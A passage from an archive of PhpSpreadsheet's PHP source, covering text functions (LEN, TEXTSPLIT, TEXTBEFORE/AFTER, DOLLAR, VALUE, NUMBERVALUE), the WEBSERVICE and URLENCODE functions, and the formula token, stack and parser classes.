$mixedCaseValue); } $mixedCaseValue = Helpers::extractString($mixedCaseValue); return StringHelper::strToTitle($mixedCaseValue); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/TextData/Text.php000064400000020433151676714400022662 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\TextData; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Calculation; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Information\ErrorValue; class Text { use ArrayEnabled; /** * LEN. * * @param mixed $value String Value * Or can be an array of values * * @return array|int If an array of values is passed for the argument, then the returned result * will also be an array with matching dimensions */ public static function length(mixed $value = ''): array|int { if (is_array($value)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $value); } $value = Helpers::extractString($value); return mb_strlen($value, 'UTF-8'); } /** * Compares two text strings and returns TRUE if they are exactly the same, FALSE otherwise. * EXACT is case-sensitive but ignores formatting differences. * Use EXACT to test text being entered into a document. * * @param mixed $value1 String Value * Or can be an array of values * @param mixed $value2 String Value * Or can be an array of values * * @return array|bool If an array of values is passed for either of the arguments, then the returned result * will also be an array with matching dimensions */ public static function exact(mixed $value1, mixed $value2): array|bool { if (is_array($value1) || is_array($value2)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $value1, $value2); } $value1 = Helpers::extractString($value1); $value2 = Helpers::extractString($value2); return $value2 === $value1; } /** * T. * * @param mixed $testValue Value to check * Or can be an array of values * * @return array|string If an array of values is passed for the argument, then the returned result * will also be an array with matching dimensions */ public static function test(mixed $testValue = ''): array|string { if (is_array($testValue)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $testValue); } if (is_string($testValue)) { return $testValue; } return ''; } /** * TEXTSPLIT. * * @param mixed $text the text that you're searching * @param null|array|string $columnDelimiter The text that marks the point where to spill the text across columns. * Multiple delimiters can be passed as an array of string values * @param null|array|string $rowDelimiter The text that marks the point where to spill the text down rows. * Multiple delimiters can be passed as an array of string values * @param bool $ignoreEmpty Specify FALSE to create an empty cell when two delimiters are consecutive. * true = create empty cells * false = skip empty cells * Defaults to TRUE, which creates an empty cell * @param bool $matchMode Determines whether the match is case-sensitive or not. * true = case-sensitive * false = case-insensitive * By default, a case-sensitive match is done. * @param mixed $padding The value with which to pad the result. * The default is #N/A. * * @return array the array built from the text, split by the row and column delimiters */ public static function split(mixed $text, $columnDelimiter = null, $rowDelimiter = null, bool $ignoreEmpty = false, bool $matchMode = true, mixed $padding = '#N/A'): array { $text = Functions::flattenSingleValue($text); $flags = self::matchFlags($matchMode); if ($rowDelimiter !== null) { $delimiter = self::buildDelimiter($rowDelimiter); $rows = ($delimiter === '()') ? [$text] : preg_split("/{$delimiter}/{$flags}", $text); } else { $rows = [$text]; } /** @var array $rows */ if ($ignoreEmpty === true) { $rows = array_values(array_filter( $rows, fn ($row): bool => $row !== '' )); } if ($columnDelimiter !== null) { $delimiter = self::buildDelimiter($columnDelimiter); array_walk( $rows, function (&$row) use ($delimiter, $flags, $ignoreEmpty): void { $row = ($delimiter === '()') ? [$row] : preg_split("/{$delimiter}/{$flags}", $row); /** @var array $row */ if ($ignoreEmpty === true) { $row = array_values(array_filter( $row, fn ($value): bool => $value !== '' )); } } ); if ($ignoreEmpty === true) { $rows = array_values(array_filter( $rows, fn ($row): bool => $row !== [] && $row !== [''] )); } } return self::applyPadding($rows, $padding); } private static function applyPadding(array $rows, mixed $padding): array { $columnCount = array_reduce( $rows, fn (int $counter, array $row): int => max($counter, count($row)), 0 ); return array_map( function (array $row) use ($columnCount, $padding): array { return (count($row) < $columnCount) ? array_merge($row, array_fill(0, $columnCount - count($row), $padding)) : $row; }, $rows ); } /** * @param null|array|string $delimiter the text that marks the point before which you want to split * Multiple delimiters can be passed as an array of string values */ private static function buildDelimiter($delimiter): string { $valueSet = Functions::flattenArray($delimiter); if (is_array($delimiter) && count($valueSet) > 1) { $quotedDelimiters = array_map( fn ($delimiter): string => preg_quote($delimiter ?? '', '/'), $valueSet ); $delimiters = implode('|', $quotedDelimiters); return '(' . $delimiters . ')'; } return '(' . preg_quote(Functions::flattenSingleValue($delimiter), '/') . ')'; } private static function matchFlags(bool $matchMode): string { return ($matchMode === true) ? 'miu' : 'mu'; } public static function fromArray(array $array, int $format = 0): string { $result = []; foreach ($array as $row) { $cells = []; foreach ($row as $cellValue) { $value = ($format === 1) ? self::formatValueMode1($cellValue) : self::formatValueMode0($cellValue); $cells[] = $value; } $result[] = implode(($format === 1) ? ',' : ', ', $cells); } $result = implode(($format === 1) ? ';' : ', ', $result); return ($format === 1) ? '{' . $result . '}' : $result; } private static function formatValueMode0(mixed $cellValue): string { if (is_bool($cellValue)) { return Calculation::getLocaleBoolean($cellValue ? 'TRUE' : 'FALSE'); } return (string) $cellValue; } private static function formatValueMode1(mixed $cellValue): string { if (is_string($cellValue) && ErrorValue::isError($cellValue) === false) { return Calculation::FORMULA_STRING_QUOTE . $cellValue . Calculation::FORMULA_STRING_QUOTE; } elseif (is_bool($cellValue)) { return Calculation::getLocaleBoolean($cellValue ? 'TRUE' : 'FALSE'); } return (string) $cellValue; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/TextData/Extract.php000064400000027554151676714400023363 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\TextData; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception as CalcExp; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; use PhpOffice\PhpSpreadsheet\Shared\StringHelper; class Extract { use ArrayEnabled; /** * LEFT. * * @param mixed $value String value from which to extract characters * Or can be an array of values * @param mixed $chars The number of characters to extract (as an integer) * Or can be an array of values * * @return array|string The joined string * If an array of values is passed for the $value or $chars arguments, then the returned result * will also be an array with matching dimensions */ public static function left(mixed $value, mixed $chars = 1): array|string { if (is_array($value) || is_array($chars)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $value, $chars); } try { $value = Helpers::extractString($value); $chars = Helpers::extractInt($chars, 0, 1); } catch (CalcExp $e) { return $e->getMessage(); } return mb_substr($value, 0, $chars, 'UTF-8'); } /** * MID. * * @param mixed $value String value from which to extract characters * Or can be an array of values * @param mixed $start Integer offset of the first character that we want to extract * Or can be an array of values * @param mixed $chars The number of characters to extract (as an integer) * Or can be an array of values * * @return array|string The joined string * If an array of values is passed for the $value, $start or $chars arguments, then the returned result * will also be an array with matching dimensions */ public static function mid(mixed $value, mixed $start, mixed $chars): array|string { if (is_array($value) || is_array($start) || is_array($chars)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $value, $start, $chars); } try { $value = Helpers::extractString($value); $start = Helpers::extractInt($start, 1); $chars = Helpers::extractInt($chars, 0); } catch (CalcExp $e) { return $e->getMessage(); } return mb_substr($value, --$start, $chars, 'UTF-8'); } /** * RIGHT. * * @param mixed $value String value from which to extract characters * Or can be an array of values * @param mixed $chars The number of characters to extract (as an integer) * Or can be an array of values * * @return array|string The joined string * If an array of values is passed for the $value or $chars arguments, then the returned result * will also be an array with matching dimensions */ public static function right(mixed $value, mixed $chars = 1): array|string { if (is_array($value) || is_array($chars)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $value, $chars); } try { $value = Helpers::extractString($value); $chars = Helpers::extractInt($chars, 0, 1); } catch (CalcExp $e) { return $e->getMessage(); } return mb_substr($value, mb_strlen($value, 'UTF-8') - $chars, $chars, 'UTF-8'); } /** * TEXTBEFORE. * * @param mixed $text the text that you're searching * Or can be an array of values * @param null|array|string $delimiter the text that marks the point before which you want to extract * Multiple delimiters can be passed as an array of string values * @param mixed $instance The instance of the delimiter after which you want to extract the text. * By default, this is the first instance (1). * A negative value means start searching from the end of the text string. * Or can be an array of values * @param mixed $matchMode Determines whether the match is case-sensitive or not. * 0 - Case-sensitive * 1 - Case-insensitive * Or can be an array of values * @param mixed $matchEnd Treats the end of text as a delimiter. * 0 - Don't match the delimiter against the end of the text. * 1 - Match the delimiter against the end of the text. * Or can be an array of values * @param mixed $ifNotFound value to return if no match is found * The default is a #N/A Error * Or can be an array of values * * @return array|string the string extracted from text before the delimiter; or the $ifNotFound value * If an array of values is passed for any of the arguments, then the returned result * will also be an array with matching dimensions */ public static function before(mixed $text, $delimiter, mixed $instance = 1, mixed $matchMode = 0, mixed $matchEnd = 0, mixed $ifNotFound = '#N/A'): array|string { if (is_array($text) || is_array($instance) || is_array($matchMode) || is_array($matchEnd) || is_array($ifNotFound)) { return self::evaluateArrayArgumentsIgnore([self::class, __FUNCTION__], 1, $text, $delimiter, $instance, $matchMode, $matchEnd, $ifNotFound); } $text = Helpers::extractString($text ?? ''); $instance = (int) $instance; $matchMode = (int) $matchMode; $matchEnd = (int) $matchEnd; $split = self::validateTextBeforeAfter($text, $delimiter, $instance, $matchMode, $matchEnd, $ifNotFound); if (is_string($split)) { return $split; } if (Helpers::extractString(Functions::flattenSingleValue($delimiter ?? '')) === '') { return ($instance > 0) ? '' : $text; } // Adjustment for a match as the first element of the split $flags = self::matchFlags($matchMode); $delimiter = self::buildDelimiter($delimiter); $adjust = preg_match('/^' . $delimiter . "\$/{$flags}", $split[0]); $oddReverseAdjustment = count($split) % 2; $split = ($instance < 0) ? array_slice($split, 0, max(count($split) - (abs($instance) * 2 - 1) - $adjust - $oddReverseAdjustment, 0)) : array_slice($split, 0, $instance * 2 - 1 - $adjust); return implode('', $split); } /** * TEXTAFTER. * * @param mixed $text the text that you're searching * @param null|array|string $delimiter the text that marks the point before which you want to extract * Multiple delimiters can be passed as an array of string values * @param mixed $instance The instance of the delimiter after which you want to extract the text. * By default, this is the first instance (1). * A negative value means start searching from the end of the text string. * Or can be an array of values * @param mixed $matchMode Determines whether the match is case-sensitive or not. * 0 - Case-sensitive * 1 - Case-insensitive * Or can be an array of values * @param mixed $matchEnd Treats the end of text as a delimiter. * 0 - Don't match the delimiter against the end of the text. * 1 - Match the delimiter against the end of the text. * Or can be an array of values * @param mixed $ifNotFound value to return if no match is found * The default is a #N/A Error * Or can be an array of values * * @return array|string the string extracted from text before the delimiter; or the $ifNotFound value * If an array of values is passed for any of the arguments, then the returned result * will also be an array with matching dimensions */ public static function after(mixed $text, $delimiter, mixed $instance = 1, mixed $matchMode = 0, mixed $matchEnd = 0, mixed $ifNotFound = '#N/A'): array|string { if (is_array($text) || is_array($instance) || is_array($matchMode) || is_array($matchEnd) || is_array($ifNotFound)) { return self::evaluateArrayArgumentsIgnore([self::class, __FUNCTION__], 1, $text, $delimiter, $instance, $matchMode, $matchEnd, $ifNotFound); } $text = Helpers::extractString($text ?? ''); $instance = (int) $instance; $matchMode = (int) $matchMode; $matchEnd = (int) $matchEnd; $split = self::validateTextBeforeAfter($text, $delimiter, $instance, $matchMode, $matchEnd, $ifNotFound); if (is_string($split)) { return $split; } if (Helpers::extractString(Functions::flattenSingleValue($delimiter ?? '')) === '') { return ($instance < 0) ? '' : $text; } // Adjustment for a match as the first element of the split $flags = self::matchFlags($matchMode); $delimiter = self::buildDelimiter($delimiter); $adjust = preg_match('/^' . $delimiter . "\$/{$flags}", $split[0]); $oddReverseAdjustment = count($split) % 2; $split = ($instance < 0) ? array_slice($split, count($split) - ((int) abs($instance + 1) * 2) - $adjust - $oddReverseAdjustment) : array_slice($split, $instance * 2 - $adjust); return implode('', $split); } private static function validateTextBeforeAfter(string $text, null|array|string $delimiter, int $instance, int $matchMode, int $matchEnd, mixed $ifNotFound): array|string { $flags = self::matchFlags($matchMode); $delimiter = self::buildDelimiter($delimiter); if (preg_match('/' . $delimiter . "/{$flags}", $text) === 0 && $matchEnd === 0) { return $ifNotFound; } $split = preg_split('/' . $delimiter . "/{$flags}", $text, 0, PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE); if ($split === false) { return ExcelError::NA(); } if ($instance === 0 || abs($instance) > StringHelper::countCharacters($text)) { return ExcelError::VALUE(); } if ($matchEnd === 0 && (abs($instance) > floor(count($split) / 2))) { return ExcelError::NA(); } elseif ($matchEnd !== 0 && (abs($instance) - 1 > ceil(count($split) / 2))) { return ExcelError::NA(); } return $split; } /** * @param null|array|string $delimiter the text that marks the point before which you want to extract * Multiple delimiters can be passed as an array of string values */ private static function buildDelimiter($delimiter): string { if (is_array($delimiter)) { $delimiter = Functions::flattenArray($delimiter); $quotedDelimiters = array_map( fn ($delimiter): string => preg_quote($delimiter ?? '', '/'), $delimiter ); $delimiters = implode('|', $quotedDelimiters); return '(' . $delimiters . ')'; } return '(' . preg_quote($delimiter ?? '', '/') . ')'; } private static function matchFlags(int $matchMode): string { return ($matchMode === 0) ? 'mu' : 'miu'; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/TextData/Format.php000064400000027307151676714400023175 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\TextData; use DateTimeInterface; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Calculation; use PhpOffice\PhpSpreadsheet\Calculation\DateTimeExcel; use PhpOffice\PhpSpreadsheet\Calculation\Exception as CalcExp; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; use PhpOffice\PhpSpreadsheet\Calculation\MathTrig; use PhpOffice\PhpSpreadsheet\RichText\RichText; use PhpOffice\PhpSpreadsheet\Shared\Date; use PhpOffice\PhpSpreadsheet\Shared\StringHelper; use PhpOffice\PhpSpreadsheet\Style\NumberFormat; class Format { use ArrayEnabled; /** * DOLLAR. * * This function converts a number to text using currency format, with the decimals rounded to the specified place. * The format used is $#,##0.00_);($#,##0.00).. * * @param mixed $value The value to format * Or can be an array of values * @param mixed $decimals The number of digits to display to the right of the decimal point (as an integer). * If decimals is negative, number is rounded to the left of the decimal point. * If you omit decimals, it is assumed to be 2 * Or can be an array of values * * @return array|string If an array of values is passed for either of the arguments, then the returned result * will also be an array with matching dimensions */ public static function DOLLAR(mixed $value = 0, mixed $decimals = 2) { if (is_array($value) || is_array($decimals)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $value, $decimals); } try { $value = Helpers::extractFloat($value); $decimals = Helpers::extractInt($decimals, -100, 0, true); } catch (CalcExp $e) { return $e->getMessage(); } $mask = '$#,##0'; if ($decimals > 0) { $mask .= '.' . str_repeat('0', $decimals); } else { $round = 10 ** abs($decimals); if ($value < 0) { $round = 0 - $round; } /** @var float|int|string */ $value = MathTrig\Round::multiple($value, $round); } $mask = "{$mask};-{$mask}"; return NumberFormat::toFormattedString($value, $mask); } /** * FIXED. * * @param mixed $value The value to format * Or can be an array of values * @param mixed $decimals Integer value for the number of decimal places that should be formatted * Or can be an array of values * @param mixed $noCommas Boolean value indicating whether the value should have thousands separators or not * Or can be an array of values * * @return array|string If an array of values is passed for either of the arguments, then the returned result * will also be an array with matching dimensions */ public static function FIXEDFORMAT(mixed $value, mixed $decimals = 2, mixed $noCommas = false): array|string { if (is_array($value) || is_array($decimals) || is_array($noCommas)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $value, $decimals, $noCommas); } try { $value = Helpers::extractFloat($value); $decimals = Helpers::extractInt($decimals, -100, 0, true); } catch (CalcExp $e) { return $e->getMessage(); } $valueResult = round($value, $decimals); if ($decimals < 0) { $decimals = 0; } if ($noCommas === false) { $valueResult = number_format( $valueResult, $decimals, StringHelper::getDecimalSeparator(), StringHelper::getThousandsSeparator() ); } return (string) $valueResult; } /** * TEXT. * * @param mixed $value The value to format * Or can be an array of values * @param mixed $format A string with the Format mask that should be used * Or can be an array of values * * @return array|string If an array of values is passed for either of the arguments, then the returned result * will also be an array with matching dimensions */ public static function TEXTFORMAT(mixed $value, mixed $format): array|string { if (is_array($value) || is_array($format)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $value, $format); } $value = Helpers::extractString($value); $format = Helpers::extractString($format); $format = (string) NumberFormat::convertSystemFormats($format); if (!is_numeric($value) && Date::isDateTimeFormatCode($format)) { $value1 = DateTimeExcel\DateValue::fromString($value); $value2 = DateTimeExcel\TimeValue::fromString($value); /** @var float|int|string */ $value = (is_numeric($value1) && is_numeric($value2)) ? ($value1 + $value2) : (is_numeric($value1) ? $value2 : $value1); } return (string) NumberFormat::toFormattedString($value, $format); } /** * @param mixed $value Value to check */ private static function convertValue(mixed $value, bool $spacesMeanZero = false): mixed { $value = $value ?? 0; if (is_bool($value)) { if (Functions::getCompatibilityMode() === Functions::COMPATIBILITY_OPENOFFICE) { $value = (int) $value; } else { throw new CalcExp(ExcelError::VALUE()); } } if (is_string($value)) { $value = trim($value); if ($spacesMeanZero && $value === '') { $value = 0; } } return $value; } /** * VALUE. * * @param mixed $value Value to check * Or can be an array of values * * @return array|DateTimeInterface|float|int|string A string if arguments are invalid * If an array of values is passed for the argument, then the returned result * will also be an array with matching dimensions */ public static function VALUE(mixed $value = '') { if (is_array($value)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $value); } try { $value = self::convertValue($value); } catch (CalcExp $e) { return $e->getMessage(); } if (!is_numeric($value)) { $numberValue = str_replace( StringHelper::getThousandsSeparator(), '', trim($value, " \t\n\r\0\x0B" . StringHelper::getCurrencyCode()) ); if ($numberValue === '') { return ExcelError::VALUE(); } if (is_numeric($numberValue)) { return (float) $numberValue; } $dateSetting = Functions::getReturnDateType(); Functions::setReturnDateType(Functions::RETURNDATE_EXCEL); if (str_contains($value, ':')) { $timeValue = Functions::scalar(DateTimeExcel\TimeValue::fromString($value)); if ($timeValue !== ExcelError::VALUE()) { Functions::setReturnDateType($dateSetting); return $timeValue; } } $dateValue = Functions::scalar(DateTimeExcel\DateValue::fromString($value)); if ($dateValue !== ExcelError::VALUE()) { Functions::setReturnDateType($dateSetting); return $dateValue; } Functions::setReturnDateType($dateSetting); return ExcelError::VALUE(); } return (float) $value; } /** * TEXT. * * @param mixed $value The value to format * Or can be an array of values * * @return array|string If an array of values is passed for either of the arguments, then the returned result * will also be an array with matching dimensions */ public static function valueToText(mixed $value, mixed $format = false): array|string { if (is_array($value) || is_array($format)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $value, $format); } $format = (bool) $format; if (is_object($value) && $value instanceof RichText) { $value = $value->getPlainText(); } if (is_string($value)) { $value = ($format === true) ? Calculation::wrapResult($value) : $value; $value = str_replace("\n", '', $value); } elseif (is_bool($value)) { $value = Calculation::getLocaleBoolean($value ? 'TRUE' : 'FALSE'); } return (string) $value; } private static function getDecimalSeparator(mixed $decimalSeparator): string { return empty($decimalSeparator) ? StringHelper::getDecimalSeparator() : (string) $decimalSeparator; } private static function getGroupSeparator(mixed $groupSeparator): string { return empty($groupSeparator) ? StringHelper::getThousandsSeparator() : (string) $groupSeparator; } /** * NUMBERVALUE. * * @param mixed $value The value to format * Or can be an array of values * @param mixed $decimalSeparator A string with the decimal separator to use, defaults to locale defined value * Or can be an array of values * @param mixed $groupSeparator A string with the group/thousands separator to use, defaults to locale defined value * Or can be an array of values */ public static function NUMBERVALUE(mixed $value = '', mixed $decimalSeparator = null, mixed $groupSeparator = null): array|string|float { if (is_array($value) || is_array($decimalSeparator) || is_array($groupSeparator)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $value, $decimalSeparator, $groupSeparator); } try { $value = self::convertValue($value, true); $decimalSeparator = self::getDecimalSeparator($decimalSeparator); $groupSeparator = self::getGroupSeparator($groupSeparator); } catch (CalcExp $e) { return $e->getMessage(); } if (!is_numeric($value)) { $decimalPositions = preg_match_all('/' . preg_quote($decimalSeparator, '/') . '/', $value, $matches, PREG_OFFSET_CAPTURE); if ($decimalPositions > 1) { return ExcelError::VALUE(); } $decimalOffset = array_pop($matches[0])[1] ?? null; if ($decimalOffset === null || strpos($value, $groupSeparator, $decimalOffset) !== false) { return ExcelError::VALUE(); } $value = str_replace([$groupSeparator, $decimalSeparator], ['', '.'], $value); // Handle the special case of trailing % signs $percentageString = rtrim($value, '%'); if (!is_numeric($percentageString)) { return ExcelError::VALUE(); } $percentageAdjustment = strlen($value) - strlen($percentageString); if ($percentageAdjustment) { $value = (float) $percentageString; $value /= 10 ** ($percentageAdjustment * 2); } } return is_array($value) ? ExcelError::VALUE() : (float) $value; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Web/Service.php000064400000003643151676714400022341 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Web; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; use PhpOffice\PhpSpreadsheet\Settings; use Psr\Http\Client\ClientExceptionInterface; class Service { /** * WEBSERVICE. * * Returns data from a web service on the Internet or Intranet. * * Excel Function: * Webservice(url) * * @return string the output resulting from a call to the webservice */ public static function webService(string $url): string { $url = trim($url); if (strlen($url) > 2048) { return ExcelError::VALUE(); // Invalid URL length } if (!preg_match('/^http[s]?:\/\//', $url)) { return ExcelError::VALUE(); // Invalid protocol } // Get results from the the webservice $client = Settings::getHttpClient(); $requestFactory = Settings::getRequestFactory(); $request = $requestFactory->createRequest('GET', $url); try { $response = $client->sendRequest($request); } catch (ClientExceptionInterface) { return ExcelError::VALUE(); // cURL error } if ($response->getStatusCode() != 200) { return ExcelError::VALUE(); // cURL error } $output = $response->getBody()->getContents(); if (strlen($output) > 32767) { return ExcelError::VALUE(); // Output not a string or too long } return $output; } /** * URLENCODE. * * Returns data from a web service on the Internet or Intranet. * * Excel Function: * urlEncode(text) * * @return string the url encoded output */ public static function urlEncode(mixed $text): string { if (!is_string($text)) { return ExcelError::VALUE(); } return str_replace('+', '%20', urlencode($text)); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/FormulaToken.php000064400000007774151676714400022643 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation; /** * PARTLY BASED ON: * Copyright (c) 2007 E. W. Bachtal, Inc. * * Permission is hereby granted, free of charge, to any person obtaining a copy of this software * and associated documentation files (the "Software"), to deal in the Software without restriction, * including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, * and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, * subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all copies or substantial * portions of the Software. * * The software is provided "as is", without warranty of any kind, express or implied, including but not * limited to the warranties of merchantability, fitness for a particular purpose and noninfringement. In * no event shall the authors or copyright holders be liable for any claim, damages or other liability, * whether in an action of contract, tort or otherwise, arising from, out of or in connection with the * software or the use or other dealings in the software. * * https://ewbi.blogs.com/develops/2007/03/excel_formula_p.html * https://ewbi.blogs.com/develops/2004/12/excel_formula_p.html */ class FormulaToken { // Token types const TOKEN_TYPE_NOOP = 'Noop'; const TOKEN_TYPE_OPERAND = 'Operand'; const TOKEN_TYPE_FUNCTION = 'Function'; const TOKEN_TYPE_SUBEXPRESSION = 'Subexpression'; const TOKEN_TYPE_ARGUMENT = 'Argument'; const TOKEN_TYPE_OPERATORPREFIX = 'OperatorPrefix'; const TOKEN_TYPE_OPERATORINFIX = 'OperatorInfix'; const TOKEN_TYPE_OPERATORPOSTFIX = 'OperatorPostfix'; const TOKEN_TYPE_WHITESPACE = 'Whitespace'; const TOKEN_TYPE_UNKNOWN = 'Unknown'; // Token subtypes const TOKEN_SUBTYPE_NOTHING = 'Nothing'; const TOKEN_SUBTYPE_START = 'Start'; const TOKEN_SUBTYPE_STOP = 'Stop'; const TOKEN_SUBTYPE_TEXT = 'Text'; const TOKEN_SUBTYPE_NUMBER = 'Number'; const TOKEN_SUBTYPE_LOGICAL = 'Logical'; const TOKEN_SUBTYPE_ERROR = 'Error'; const TOKEN_SUBTYPE_RANGE = 'Range'; const TOKEN_SUBTYPE_MATH = 'Math'; const TOKEN_SUBTYPE_CONCATENATION = 'Concatenation'; const TOKEN_SUBTYPE_INTERSECTION = 'Intersection'; const TOKEN_SUBTYPE_UNION = 'Union'; /** * Value. */ private string $value; /** * Token Type (represented by TOKEN_TYPE_*). */ private string $tokenType; /** * Token SubType (represented by TOKEN_SUBTYPE_*). */ private string $tokenSubType; /** * Create a new FormulaToken. * * @param string $tokenType Token type (represented by TOKEN_TYPE_*) * @param string $tokenSubType Token Subtype (represented by TOKEN_SUBTYPE_*) */ public function __construct(string $value, string $tokenType = self::TOKEN_TYPE_UNKNOWN, string $tokenSubType = self::TOKEN_SUBTYPE_NOTHING) { // Initialise values $this->value = $value; $this->tokenType = $tokenType; $this->tokenSubType = $tokenSubType; } /** * Get Value. */ public function getValue(): string { return $this->value; } /** * Set Value. */ public function setValue(string $value): void { $this->value = $value; } /** * Get Token Type (represented by TOKEN_TYPE_*). */ public function getTokenType(): string { return $this->tokenType; } /** * Set Token Type (represented by TOKEN_TYPE_*). */ public function setTokenType(string $value): void { $this->tokenType = $value; } /** * Get Token SubType (represented by TOKEN_SUBTYPE_*). */ public function getTokenSubType(): string { return $this->tokenSubType; } /** * Set Token SubType (represented by TOKEN_SUBTYPE_*). */ public function setTokenSubType(string $value): void { $this->tokenSubType = $value; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Token/Stack.php000064400000005600151676714400022344 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Token; use PhpOffice\PhpSpreadsheet\Calculation\Calculation; use PhpOffice\PhpSpreadsheet\Calculation\Engine\BranchPruner; class Stack { private BranchPruner $branchPruner; /** * The parser stack for formulae. * * @var mixed[] */ private array $stack = []; /** * Count of entries in the parser stack. */ private int $count = 0; public function __construct(BranchPruner $branchPruner) { $this->branchPruner = $branchPruner; } /** * Return the number of entries on the stack. */ public function count(): int { return $this->count; } /** * Push a new entry onto the stack. */ public function push(string $type, mixed $value, ?string $reference = null): void { $stackItem = $this->getStackItem($type, $value, $reference); $this->stack[$this->count++] = $stackItem; if ($type === 'Function') { $localeFunction = Calculation::localeFunc($value); if ($localeFunction != $value) { $this->stack[($this->count - 1)]['localeValue'] = $localeFunction; } } } public function pushStackItem(array $stackItem): void { $this->stack[$this->count++] = $stackItem; } public function getStackItem(string $type, mixed $value, ?string $reference = null): array { $stackItem = [ 'type' => $type, 'value' => $value, 'reference' => $reference, ]; // will store the result under this alias $storeKey = $this->branchPruner->currentCondition(); if (isset($storeKey) || $reference === 'NULL') { $stackItem['storeKey'] = $storeKey; } // will only run computation if the matching store key is true $onlyIf = $this->branchPruner->currentOnlyIf(); if (isset($onlyIf) || $reference === 'NULL') { $stackItem['onlyIf'] = $onlyIf; } // will only run computation if the matching store key is false $onlyIfNot = $this->branchPruner->currentOnlyIfNot(); if (isset($onlyIfNot) || $reference === 'NULL') { $stackItem['onlyIfNot'] = $onlyIfNot; } return $stackItem; } /** * Pop the last entry from the stack. */ public function pop(): ?array { if ($this->count > 0) { return $this->stack[--$this->count]; } return null; } /** * Return an entry from the stack without removing it. */ public function last(int $n = 1): ?array { if ($this->count - $n < 0) { return null; } return $this->stack[$this->count - $n]; } /** * Clear the stack. */ public function clear(): void { $this->stack = []; $this->count = 0; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Exception.php000064400000000773151676714400022163 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation; use PhpOffice\PhpSpreadsheet\Exception as PhpSpreadsheetException; class Exception extends PhpSpreadsheetException { public const CALCULATION_ENGINE_PUSH_TO_STACK = 1; /** * Error handler callback. */ public static function errorHandlerCallback(int $code, string $string, string $file, int $line): void { $e = new self($string, $code); $e->line = $line; $e->file = $file; throw $e; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/FormulaParser.php000064400000053620151676714400023006 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation; /** * PARTLY BASED ON: * Copyright (c) 2007 E. W. Bachtal, Inc. * * Permission is hereby granted, free of charge, to any person obtaining a copy of this software * and associated documentation files (the "Software"), to deal in the Software without restriction, * including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, * and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, * subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all copies or substantial * portions of the Software. * * The software is provided "as is", without warranty of any kind, express or implied, including but not * limited to the warranties of merchantability, fitness for a particular purpose and noninfringement. In * no event shall the authors or copyright holders be liable for any claim, damages or other liability, * whether in an action of contract, tort or otherwise, arising from, out of or in connection with the * software or the use or other dealings in the software. * * https://ewbi.blogs.com/develops/2007/03/excel_formula_p.html * https://ewbi.blogs.com/develops/2004/12/excel_formula_p.html */ class FormulaParser { // Character constants const QUOTE_DOUBLE = '"'; const QUOTE_SINGLE = '\''; const BRACKET_CLOSE = ']'; const BRACKET_OPEN = '['; const BRACE_OPEN = '{'; const BRACE_CLOSE = '}'; const PAREN_OPEN = '('; const PAREN_CLOSE = ')'; const SEMICOLON = ';'; const WHITESPACE = ' '; const COMMA = ','; const ERROR_START = '#'; const OPERATORS_SN = '+-'; const OPERATORS_INFIX = '+-*/^&=><'; const OPERATORS_POSTFIX = '%'; /** * Formula. */ private string $formula; /** * Tokens. * * @var FormulaToken[] */ private array $tokens = []; /** * Create a new FormulaParser. * * @param ?string $formula Formula to parse */ public function __construct(?string $formula = '') { // Check parameters if ($formula === null) { throw new Exception('Invalid parameter passed: formula'); } // Initialise values $this->formula = trim($formula); // Parse! $this->parseToTokens(); } /** * Get Formula. */ public function getFormula(): string { return $this->formula; } /** * Get Token. * * @param int $id Token id */ public function getToken(int $id = 0): FormulaToken { if (isset($this->tokens[$id])) { return $this->tokens[$id]; } throw new Exception("Token with id $id does not exist."); } /** * Get Token count. */ public function getTokenCount(): int { return count($this->tokens); } /** * Get Tokens. * * @return FormulaToken[] */ public function getTokens(): array { return $this->tokens; } /** * Parse to tokens. */ private function parseToTokens(): void { 